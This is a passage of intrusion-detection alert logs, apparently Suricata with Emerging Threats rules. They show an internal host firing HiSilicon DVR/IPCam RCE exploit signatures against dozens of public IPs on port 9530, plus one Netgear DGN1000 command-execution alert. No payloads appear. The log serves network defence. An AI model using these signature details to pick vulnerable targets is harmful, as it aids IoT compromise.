Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.52.7.78

Timestamp:	05/16/24-16:39:08.041781
SID:	2030487
Source Port:	41518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.52.7.78

Timestamp:	05/16/24-16:39:08.041781
SID:	2030488
Source Port:	41518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.58.2.161

Timestamp:	05/16/24-16:39:02.765724
SID:	2030488
Source Port:	57316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.58.2.161

Timestamp:	05/16/24-16:39:02.765724
SID:	2030487
Source Port:	57316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.169.77.48

Timestamp:	05/16/24-16:38:57.435737
SID:	2030487
Source Port:	47228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.19.76.101

Timestamp:	05/16/24-16:38:50.047569
SID:	2030487
Source Port:	41460
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.169.77.48

Timestamp:	05/16/24-16:38:57.435737
SID:	2030488
Source Port:	47228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.20.100.175

Timestamp:	05/16/24-16:39:14.518784
SID:	2030488
Source Port:	47264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.20.100.175

Timestamp:	05/16/24-16:39:14.518784
SID:	2030487
Source Port:	47264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.172.50.115

Timestamp:	05/16/24-16:39:05.694651
SID:	2030488
Source Port:	40664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.45.73.143

Timestamp:	05/16/24-16:39:14.492190
SID:	2030488
Source Port:	57402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.172.50.115

Timestamp:	05/16/24-16:39:05.694651
SID:	2030487
Source Port:	40664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.45.73.143

Timestamp:	05/16/24-16:39:14.492190
SID:	2030487
Source Port:	57402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.108.181.97

Timestamp:	05/16/24-16:38:53.099147
SID:	2030488
Source Port:	59798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.108.181.97

Timestamp:	05/16/24-16:38:53.099147
SID:	2030487
Source Port:	59798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.115.112.234

Timestamp:	05/16/24-16:38:50.080382
SID:	2030488
Source Port:	57036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.244.7.174

Timestamp:	05/16/24-16:38:50.052318
SID:	2030488
Source Port:	45456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.244.7.174

Timestamp:	05/16/24-16:38:50.052318
SID:	2030487
Source Port:	45456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.115.112.234

Timestamp:	05/16/24-16:38:50.080382
SID:	2030487
Source Port:	57036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.241.91.206

Timestamp:	05/16/24-16:39:05.698715
SID:	2030487
Source Port:	56148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.241.91.206

Timestamp:	05/16/24-16:39:05.698715
SID:	2030488
Source Port:	56148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.80.128.161

Timestamp:	05/16/24-16:38:55.213081
SID:	2030487
Source Port:	40480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.80.128.161

Timestamp:	05/16/24-16:38:55.213081
SID:	2030488
Source Port:	40480
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.134.13.50

Timestamp:	05/16/24-16:39:05.716972
SID:	2030488
Source Port:	53136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.134.13.50

Timestamp:	05/16/24-16:39:05.716972
SID:	2030487
Source Port:	53136
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.218.240.174

Timestamp:	05/16/24-16:39:16.612718
SID:	2030487
Source Port:	58566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.218.240.174

Timestamp:	05/16/24-16:39:16.612718
SID:	2030488
Source Port:	58566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.184.18.183

Timestamp:	05/16/24-16:38:59.590336
SID:	2030488
Source Port:	48744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.184.18.183

Timestamp:	05/16/24-16:38:59.590336
SID:	2030487
Source Port:	48744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.203.168.227

Timestamp:	05/16/24-16:39:08.092977
SID:	2030487
Source Port:	51484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.203.168.227

Timestamp:	05/16/24-16:39:08.092977
SID:	2030488
Source Port:	51484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.160.227.188

Timestamp:	05/16/24-16:39:12.384390
SID:	2030487
Source Port:	42660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.160.227.188

Timestamp:	05/16/24-16:39:12.384390
SID:	2030488
Source Port:	42660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.45.198.201

Timestamp:	05/16/24-16:38:50.004212
SID:	2030488
Source Port:	43256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.45.198.201

Timestamp:	05/16/24-16:38:50.004212
SID:	2030487
Source Port:	43256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.184.131.131

Timestamp:	05/16/24-16:39:08.127105
SID:	2030488
Source Port:	49218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.38.83.96

Timestamp:	05/16/24-16:39:12.301219
SID:	2030487
Source Port:	38948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.131.178.194

Timestamp:	05/16/24-16:39:08.135859
SID:	2030488
Source Port:	48428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.38.83.96

Timestamp:	05/16/24-16:39:12.301219
SID:	2030488
Source Port:	38948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.131.178.194

Timestamp:	05/16/24-16:39:08.135859
SID:	2030487
Source Port:	48428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.75.226

Timestamp:	05/16/24-16:38:55.175122
SID:	2030488
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.75.226

Timestamp:	05/16/24-16:38:55.175122
SID:	2030487
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.184.131.131

Timestamp:	05/16/24-16:39:08.127105
SID:	2030487
Source Port:	49218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.124.191.232

Timestamp:	05/16/24-16:38:59.559338
SID:	2030488
Source Port:	43628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.124.191.232

Timestamp:	05/16/24-16:38:59.559338
SID:	2030487
Source Port:	43628
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.119.90.121

Timestamp:	05/16/24-16:39:16.578972
SID:	2030488
Source Port:	51800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.119.90.121

Timestamp:	05/16/24-16:39:16.578972
SID:	2030487
Source Port:	51800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.169.142.66

Timestamp:	05/16/24-16:38:50.004294
SID:	2030487
Source Port:	50864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.169.142.66

Timestamp:	05/16/24-16:38:50.004294
SID:	2030488
Source Port:	50864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.205.198.241

Timestamp:	05/16/24-16:38:50.046313
SID:	2030487
Source Port:	59242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.142.179.39

Timestamp:	05/16/24-16:38:57.425694
SID:	2030487
Source Port:	45194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.205.198.241

Timestamp:	05/16/24-16:38:50.046313
SID:	2030488
Source Port:	59242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.178.5.24

Timestamp:	05/16/24-16:39:16.600079
SID:	2030487
Source Port:	33418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.178.5.24

Timestamp:	05/16/24-16:39:16.600079
SID:	2030488
Source Port:	33418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.142.179.39

Timestamp:	05/16/24-16:38:57.425694
SID:	2030488
Source Port:	45194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.194.218.108

Timestamp:	05/16/24-16:38:53.011188
SID:	2030487
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.194.218.108

Timestamp:	05/16/24-16:38:53.011188
SID:	2030488
Source Port:	40424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.4.45.162

Timestamp:	05/16/24-16:38:57.448109
SID:	2030487
Source Port:	39536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.4.45.162

Timestamp:	05/16/24-16:38:57.448109
SID:	2030488
Source Port:	39536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.134.200.60

Timestamp:	05/16/24-16:38:57.448075
SID:	2030487
Source Port:	59962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.134.200.60

Timestamp:	05/16/24-16:38:57.448075
SID:	2030488
Source Port:	59962
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.27.81.4

Timestamp:	05/16/24-16:39:02.767215
SID:	2030488
Source Port:	37096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.27.81.4

Timestamp:	05/16/24-16:39:02.767215
SID:	2030487
Source Port:	37096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.119.45.142

Timestamp:	05/16/24-16:39:08.047682
SID:	2030487
Source Port:	42298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.119.45.142

Timestamp:	05/16/24-16:39:08.047682
SID:	2030488
Source Port:	42298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.174.255.154

Timestamp:	05/16/24-16:38:57.303608
SID:	2030488
Source Port:	57948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.174.255.154

Timestamp:	05/16/24-16:38:57.303608
SID:	2030487
Source Port:	57948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.106.78.190

Timestamp:	05/16/24-16:39:03.260932
SID:	2030488
Source Port:	41664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.106.78.190

Timestamp:	05/16/24-16:39:03.260932
SID:	2030487
Source Port:	41664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.77.215.205

Timestamp:	05/16/24-16:39:05.675818
SID:	2030488
Source Port:	46516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.32.187.30

Timestamp:	05/16/24-16:38:55.225118
SID:	2030488
Source Port:	54182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.77.215.205

Timestamp:	05/16/24-16:39:05.675818
SID:	2030487
Source Port:	46516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.94.96.8

Timestamp:	05/16/24-16:39:14.514798
SID:	2030488
Source Port:	45272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.32.187.30

Timestamp:	05/16/24-16:38:55.225118
SID:	2030487
Source Port:	54182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.94.96.8

Timestamp:	05/16/24-16:39:14.514798
SID:	2030487
Source Port:	45272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.97.39.116

Timestamp:	05/16/24-16:38:59.584432
SID:	2030488
Source Port:	46646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.97.39.116

Timestamp:	05/16/24-16:38:59.584432
SID:	2030487
Source Port:	46646
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.192.134.64

Timestamp:	05/16/24-16:38:55.176133
SID:	2030487
Source Port:	40810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.192.134.64

Timestamp:	05/16/24-16:38:55.176133
SID:	2030488
Source Port:	40810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.246.18.33

Timestamp:	05/16/24-16:38:55.212300
SID:	2030488
Source Port:	35230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.246.18.33

Timestamp:	05/16/24-16:38:55.212300
SID:	2030487
Source Port:	35230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.37.192.185

Timestamp:	05/16/24-16:38:55.177042
SID:	2030488
Source Port:	39274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.37.192.185

Timestamp:	05/16/24-16:38:55.177042
SID:	2030487
Source Port:	39274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.113.160.148

Timestamp:	05/16/24-16:39:02.726993
SID:	2030488
Source Port:	38566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.76.109.2

Timestamp:	05/16/24-16:39:08.044938
SID:	2030488
Source Port:	56582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.100.59.37

Timestamp:	05/16/24-16:38:55.226778
SID:	2030488
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.76.109.2

Timestamp:	05/16/24-16:39:08.044938
SID:	2030487
Source Port:	56582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.100.59.37

Timestamp:	05/16/24-16:38:55.226778
SID:	2030487
Source Port:	45120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.230.9.81

Timestamp:	05/16/24-16:39:02.745308
SID:	2030487
Source Port:	40774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.113.160.148

Timestamp:	05/16/24-16:39:02.726993
SID:	2030487
Source Port:	38566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.230.9.81

Timestamp:	05/16/24-16:39:02.745308
SID:	2030488
Source Port:	40774
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 22.15.103.15

Timestamp:	05/16/24-16:38:53.403411
SID:	2029215
Source Port:	35476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.241.122.5

Timestamp:	05/16/24-16:38:55.210426
SID:	2030487
Source Port:	59086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.56.250.85

Timestamp:	05/16/24-16:38:57.304877
SID:	2030488
Source Port:	42540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.46.122.106

Timestamp:	05/16/24-16:38:57.446013
SID:	2030488
Source Port:	45854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.56.250.85

Timestamp:	05/16/24-16:38:57.304877
SID:	2030487
Source Port:	42540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.46.122.106

Timestamp:	05/16/24-16:38:57.446013
SID:	2030487
Source Port:	45854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.203.32.174

Timestamp:	05/16/24-16:38:50.047735
SID:	2030488
Source Port:	34156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.203.32.174

